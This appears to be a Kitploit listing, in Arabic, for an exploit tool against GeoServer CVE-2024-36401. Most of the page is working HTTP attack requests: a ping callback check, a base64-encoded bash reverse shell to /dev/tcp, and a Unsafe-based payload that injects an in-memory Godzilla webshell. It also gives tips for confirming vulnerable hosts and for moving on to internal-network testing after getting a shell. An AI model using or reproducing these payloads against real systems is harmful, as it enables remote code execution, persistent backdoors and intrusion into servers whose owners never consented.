Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
geoserver- — أداة استغلال ثغرة geoserver CVE-2024-36401 | Kitploit
أدوات/GitHubGitHub/ahisec/geoserver-
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHubahisec/geoserver-

geoserver-

أداة استغلال ثغرة geoserver CVE-2024-36401

عرض المستودع
468منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة استغلال geoserver CVE-2024-36401

geoserver CVE-2024-36401 البيئة: JDK8 إخلاء مسؤولية: يُستخدم للاختبار المصرح به فقط، وجميع العواقب الناتجة عن إساءة الاستخدام لا علاقة لها بالمؤلف. يرجى الالتزام بالقوانين واللوائح!

  1. الحمولة الافتراضية (payload):
root@kitploit:~
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>

لاحظ هنا: <wfs:Query typeNames='sf:archsites'/>

هنا، إذا كنت بحاجة إلى الحصول عليه عبر regex، فهذه علامة أساسية لموقع sf:archsites. تحتاج أولاً إلى الحصول على معلومات wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>، ثم يمكنك استخدام أسلوب الربط (التجميع).

عند التحقق من وجود الثغرة wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

في هذا المكان، في الواقع لا حاجة للبحث في سجلات DNS

المنطق البسيط هو التحقق من وجود فئة استثناء غير طبيعية

مثل java.lang.ClassCastException

بالطبع، هذا مجرد منطق للتحقق.

هذه الاستجابة تكون أصلاً 400، وهذا مكان سهل للوقوع في الخطأ. تحتاج إلى التحقق من صفحة الخطأ أولاً ثم البحث في البيانات.

أولاً تحتاج إلى إرسال طلب <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

هذه المعلومات تعني أنه يمكنك الحصول على wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>، ثم قم بتعيينه مباشرة إلى نص، ثم استدعِ إحدى الدوال لربط المعلومات المستخرجة من النص في معلمة <wfs:Query typeNames='sf:archsites'/> هنا.

بهذه الطريقة يكون منطق الكشف دقيقًا نسبيًا، ويمكن كتابة فئة الكشف بهذا الشكل.

إذا واصلت استخدام <wfs:Query typeNames='sf:archsites'/> فقط، فإن احتمال الخطأ مرتفع جدًا، وسيظهر خطأ بعدم العثور على sf:archsites.

فئة الـ Reverse Shell

لنلقِ نظرة على الحمولة الخاصة بالـ Reverse Shell:

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

لاحظ هنا:

<wfs:Query typeNames='sf:archsites'/>

بالمثل، حدد القيمة باستخدام regex ثم قم بربطها به.

ثم أرسل الطلب مباشرة.

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx هذا هو base64 المشفر

عند الكتابة، فقط قم بتحويل إدخال المستخدم bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 إلى base64.

ثم أرسل الطلب، وبالمثل ابحث عن فئة الاستثناء المفتاحية للتحقق من المنطق.

فئة حقن حصان الذاكرة هنا

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

هنا أيضًا يوجد <wfs:Query typeNames='sf:archsites'/>، وكالعادة احصل على القيمة أولاً.

في موضع star هنا، ضع كود حصان الذاكرة المشفر base64 الذي قمت بإنشائه.

ثم قم بالتحقق من المنطق فقط.

مزالق شائعة

  1. إعادة استخدام <wfs:Query typeNames='sf:archsites'/> تسبب خطأً بنسبة 98%، والخطأ كما يلي:

https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<

نقطة وجود الثغرة هي:

<ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>

ببساطة، وجود الثغرة يظهر كـ java.lang.ClassCastException

والخطأ في التقييم يكون: Could not locate {http://www.openplans.org/spearfish}archsites in catalog

  1. طريقة التحقق: قم بالتقاط wfs:ReturnFeatureType> من الطلب، وقم بتعيينه إلى نص، ثم استدعِ دالة على النص، وأرسل الطلب بعد الربط، وتحقق من الاستثناء في الاستجابة.

عند استدعاء الدالة على النص، يجب تعيين قيمة مسبقًا لمنع استثناء المؤشر الفارغ. قم بالربط قبل الإرسال، وتحقق من الاستثناء داخل الاستجابة.

في النهاية تمكنا من إتمام كتابة أداة استغلال هذه الثغرة.

image

لنختبر الثغرة.

نتيجة تنفيذ الأداة

image

image

ملاحظة: عدم وجود استجابة يعادل عدم وجود إخراج للثغرة؛ في حال وجود الثغرة ستظهر علامة +.

عند اكتشاف الثغرة، قم بعمل Reverse Shell واختبار الاتصال؛ إذا نجح الاتصال، قم بإجراء اختبار على الشبكة الداخلية.

قد تضيف التحسينات القادمة ميزات مثل حصان الذاكرة المخصص والفحص الجماعي.

image

لقد تم اكتشاف الثغرة، وتم الحصول على نقطة النهاية، ونجح أيضًا عمل Reverse Shell.

الآن لنجرب حقن حصان الذاكرة.

image

يبدو أنه تم حقن حصان الذاكرة بنجاح، لنتصل لمعرفة ما إذا كان ناجحًا.

image

يمكن الاتصال به.

ملاحظة: اختبار حصان الذاكرة، This GeoServer instance is running version 2.15.2. For more information please contact the

نجح حقن حصان الذاكرة في هذا الإصدار.

الإصدارات الأعلى قد تفشل.

البقية يجب اختبارها بنفسك.

image

تمت إضافة ميزة حصان الذاكرة المخصص.

image

سجل التحديثات

تمت إضافة اختبار ls واختبار ping

تم إصلاح مشكلة حقن حصان الذاكرة

تمت إضافة التعرف على tomcat و jetty

يتم حقن حصان ذاكرة Godzilla افتراضيًا في بيئة jetty.

بالنسبة لحصان الذاكرة المخصص، يمكنك اختيار بيئة tomcat للاختبار.

الإصدار الجماعي لم يُنشر بعد.

تنزيل الأداة